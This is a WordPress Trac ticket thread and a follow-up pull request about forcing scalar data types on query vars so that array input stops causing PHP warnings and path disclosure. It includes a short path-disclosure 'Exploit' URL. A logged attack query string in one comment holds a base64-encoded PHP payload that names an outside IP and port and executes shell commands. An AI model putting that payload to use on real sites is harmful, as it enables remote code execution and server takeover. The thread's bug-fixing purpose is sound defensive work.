Be better at forcing data types for query vars

[juliobox]

I already email this flaw to security@… but Andrew Nacin told me that this is not a WordPress flaw, but php server config flaw. So i post this here now.

---

Exploit : ​http://WEBSITE.COM/?author[]=1
Problem : FPD (​https://www.owasp.org/index.php/Full_Path_Disclosure)
Solution : Add this "@ini_set('display_errors', 0);" or this "error_reporting(0);" in the end of wp-config.php file.
Patch :
1) wp-includes/query.php line 2239
Replace

$q['author'] = (string)urldecode($q['author']);

by

if ( is_array( $q['author'] ) ) {
$q['author'] = $q['author'][0];
}
$q['author'] = (string)urldecode($q['author']);

2) wp-includes/canonical.php line 142
Replace

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) {

by

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', !is_array($_GET['author']) ? $_GET['author'] : $_GET['author'][0] ) ) {

Julio - ​http://www.boiteaweb.fr

[nacin]

The bug here being that we should be checking or forcing data types on a number of query vars, (such as author, p, post, etc, that only take integers).

[juliobox]

FPD is considered as an attack by OWASP, this is not to be taken lightly.

Thank you for your responses Nacin :)

[nacin]

Replying to juliobox:

FPD is considered as an attack by OWASP, this is not to be taken lightly.

We know, but path disclosure via PHP errors is a server configuration issue, not an application issue.

[juliobox]

I do not want to argue but I do not agree with "path disclosure via PHP errors is a server configuration issue, not an application issue" :]

[xknown]

urldecode returns a string, move the cast to the right place

[SergeyBiryukov]

17737.2.patch​ handles author, cat and orderby. Other int query vars don't seem to throw notices when being passed as an array.

Probably need to handle author_name and category_name (they also throw notices in that case).

[nacin]

I think 's' also throws a warning.

[SergeyBiryukov]

#23425 was marked as a duplicate.

[SergeyBiryukov]

#23425 mentions ?page[] and ?s[].

[dave1010]

I believe this patch will still show a notice. From the PHP 5.4 changelog:

Changed silent conversion of array to string to produce a notice.

$ php -r '(string)[];'

PHP Notice: Array to string conversion in Command line code on line 1

[wonderboymusic]

Sergey's patch still applies cleanly, moving to 3.7 for review

[duck_]

Replying to dave1010:

I believe this patch will still show a notice.

Yes. Tested with PHP 5.5.2.

[SergeyBiryukov]

17737.3.patch​ is another take. Handles attachment, name, pagename, category_name, cat, author, author_name, s, page, orderby.

[SergeyBiryukov]

17737.4.patch​ is another take, based on a brief ​IRC discussion.

It looks like post_type is the only public query variable that can be an array.

[nacin]

I think 17737.3.patch​ is a step in the right direction. But, an array for any of these is invalid input, and I think should be discarded.
If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

17737.4.patch​ seems too broad. It can stomp on 3rd-party query vars, no?

[SergeyBiryukov]

Replying to nacin:

If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

The checks if a query var is set are a bit inconsistent: sometimes it's '' != $qv, other times it's ! empty() or isset(). Looks like an unset may not always be appropriate.

17737.5.patch​ adds an is_array() check to some existing conditions and assignments that cause a notice.

[johnbillion]

This patch appears to be stale. @SergeyBiryukov can you refresh it, possibly without the whitespace-only changes for clarity?

[wonderboymusic]

Refreshed, I'll wait for PowerSerge to chime in here. I got rid of the whitespace changes just so the patch is easier to digest. In general, I like whitespace improvements, but I see how they can be a buzzkill when viewing the diff.

[nacin]

Let's make sure we get this right.

[SergeyBiryukov]

#26308 was marked as a duplicate.

[SergeyBiryukov]

#26583 was marked as a duplicate.

[IwanLuijksQuestMedia]

What is the status of this ticket?

I currently still run into this issue (on the search page), using an array of terms for the taxonomy in the querystring, like so (where 'country' is added to the querystring through a form submission using the GET method):
country[]=nl&country[]=de

The search actually does work, but causes a number of PHP errors:

Warning: strpos() expects parameter 1 to be string, array given in /home/hameeteman/www/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /home/hameeteman/www/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /home/hameeteman/www/wp-includes/query.php on line 1768

Warning: strpos() expects parameter 1 to be string, array given in /home/hameeteman/www/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /home/hameeteman/www/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /home/hameeteman/www/wp-includes/query.php on line 1768

[SergeyBiryukov]

Related: #29736

[juliobox]

Hey guys what do we need to close this ticket now? Thanks!

[SergeyBiryukov]

#44652 was marked as a duplicate.

[SergeyBiryukov]

Instead of ! is_array(), it's probably better to check is_string() specifically, see the patch on #44652.

[arcturusink]

Made a mistake and uploaded the patch as 44652 instead of 17737. Any suggestion on how to fix it?

[peterwilsoncc]

Moving to the 5.1 milestone due to the WordPress 5.0 focus on the new
editor (Gutenberg).

[johnjamesjacoby]

Blast from the past.

Started seeing ?author[]=1 requests fill up my error logs in the past 24 hours.

[pento]

Patch need refreshing, testing, review, etc.

[SergeyBiryukov]

#46797 was marked as a duplicate.

[desrosj]

#46799 was marked as a duplicate.

[knutsp]

#46810 was marked as a duplicate.

[tellyworth]

Refreshed and expanded

[tellyworth]

attachment:17737.6.diff​ is refreshed for trunk, and incorporates ideas from several prior patches. It passes the current unit tests but doesn't include new ones.

A couple of notes:

• I've used is_scalar() and defaulted to '' or 0 depending on the context. That's probably equivalent to prior behaviour but there might be subtle edge cases that aren't covered by tests.
• cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param. There's test coverage for cat (see test_category_querystring_multiple_terms_formatted_as_array) but not author.

[dd32]

Replying to tellyworth:

• cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

[SergeyBiryukov]

#50022 was marked as a duplicate.

[SergeyBiryukov]

#50067 was marked as a duplicate.

[SergeyBiryukov]

#50474 was marked as a duplicate.

[jamieburchell]

Seeing this in my logs today:

Warning: trim() expects parameter 1 to be string, array given /wp-includes/class-wp-query.php in WP_Query::parse_query at line 779

This seems to be

$qv['name'] = trim( $qv['name'] );

Query string payload:

?name%5B%23markup%5D=eval%28base64_decode%28%29%22Lyo8P3BocCAvKiovCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTsKJGRpcz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYoIWVtcHR5KCRkaXMpKXsKJGRpcz1wcmVnX3JlcGxhY2UoIi9bLCBdKy8iLCAiLCIsICRkaXMpOwokZGlzPWV4cGxvZGUoIiwiLCAkZGlzKTsKJGRpcz1hcnJheV9tYXAoInRyaW0iLCAkZGlzKTsKfWVsc2V7CiRkaXM9YXJyYXkoKTsKfQoKJGlwYWRkcj0iMTkzLjIzOS4xNDcuMjI0IjsKJHBvcnQ9OTk5OTsKCmlmKCFmdW5jdGlvbl9leGlzdHMoIkpqV3piayIpKXsKZnVuY3Rpb24gSmpXemJrKCRjKXsKZ2xvYmFsICRkaXM7CgokSlRLR0ZFPSJpc19jYWxsYWJsZSI7CiRUQUNXZ1BQPSJpbl9hcnJheSI7CgppZigkSlRLR0ZFKCJzeXN0ZW0iKWFuZCEkVEFDV2dQUCgic3lzdGVtIiwkZGlzKSl7Cm9iX3N0YXJ0KCk7CnN5c3RlbSgkYyk7CiRvPW9iX2dldF9jb250ZW50cygpOwpvYl9lbmRfY2xlYW4oKTsKfWVsc2UKaWYoJEpUS0dGRSgiZXhlYyIpYW5kISRUQUNXZ1BQKCJleGVjIiwkZGlzKSl7CiRvPWFycmF5KCk7CmV4ZWMoJGMsJG8pOwokbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7Cn1lbHNlCmlmKCRKVEtHRkUoInByb2Nfb3BlbiIpYW5kISRUQUNXZ1...&name%5B%23post_render%5D%5B%5D=assert&q=%5BFiltered%5D

[mikeyarce]

@SergeyBiryukov - are there any current blockers to move this forward? Anything I can do to help this get into a release?

[audrasjb]

Before 17737.7.diff

[audrasjb]

After 17737.7.diff

[audrasjb]

Patch refresh + add is_scalar conditional statement for author

[audrasjb]

In 17737.7.diff:

• I refreshed the patch against trunk
• I added one more is_scalar() check for author (see @dd32’s comment)

Moving this ticket for 5.8 consideration.

Replying to dd32:

Replying to tellyworth:

• cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

[SergeyBiryukov]

#53018 was marked as a duplicate.

[hellofromTonya]

Today is 5.8 Beta 1. The patch needs review, maybe unit tests, and manual testing. Punting to 5.9 (instead of Future Release) to finish the last bits.

[hellofromTonya]

Query changes by design need careful consideration and plenty of soak time to ensure nothing breaks. With 5.9 feature freeze ~2 days away and Beta 1 in ~9 days, it's too late in the release cycle for a change to query. Punting this out of 5.9. As the next milestone is not yet available, moving to Future Release. Once available, feel free to move into the next release.

[hellofromTonya]

Whoopsie forgot to change the milestone.

[SergeyBiryukov]

#54494 was marked as a duplicate.

[johnregan3]

Unit Tests & Minor update

[johnregan3]

Added tests to 17737.8.diff

While writing tests, I found that non-scalar values passed to a few fields ($qv['minute'], $qv['menu_order'], etc) were slipping through. These are fixed now.

Unit Tests FTW!

@SergeyBiryukov Polite bump.

[audrasjb]

As per today's bug scrub, the last patch still applies against trunk and it looks like it's fixing the issue and it has unit tests. @SergeyBiryukov are we good to ship it early? It would be nice since it is an early-tagged ticket.

[audrasjb]

As per today's bugscrub, @johnbillion proposed to take another look on the patch to see if it can be committed in time for 6.1-early.

Trac ticket: https://core.trac.wordpress.org/ticket/17737

This PR includes changes from https://core.trac.wordpress.org/attachment/ticket/17737/17737.8.diff

[johnbillion]

In 53891:

Query: Be better at forcing data types for query vars.

Several query vars only accept a scalar value and pass the value through functions that assume a scalar value. Adding extra guard conditions to the types of query vars doesn't affect their functionality but does remove PHP notices and warnings that can otherwise be generated when a non-scalar value such as an array is present in a query var.

Props juliobox, xknown, SergeyBiryukov, dave1010, nacin, tellyworth, dd32, audrasjb, johnregan3

Fixes #17737

https://core.trac.wordpress.org/changeset/53891

This PR builds on the work completed with the closure of https://core.trac.wordpress.org/ticket/17737

It ensures that the value of $page in a query is scalar prior to attempting to trim or assign it to an absint avoiding a fatal error if an array is passed.

Fixes: (comment 2)

Thanks for the PR! Left a minor comment, looks good to me otherwise 🙂

Thanks for the PR! Left a minor comment, looks good to me otherwise 🙂

Yep, I did briefly think about that ;)

@BrookeDot Could you please rebase your PR?

Could you please rebase your PR?

@mukeshpanchal27 against trunk right?

Yes

I think I did it @mukeshpanchal27 I see the tests are running now.

Let me know, I'm new to contributing via GitHub :D

Looks like one test failed, unrelated to the PR. Can you run it again?

Thanks @BrookeDot, For the ​https://github.com/WordPress/wordpress-develop/pull/4920#discussion_r1346856772 i would like to get @SergeyBiryukov thought.

Thanks for the PR! Merged in r56815.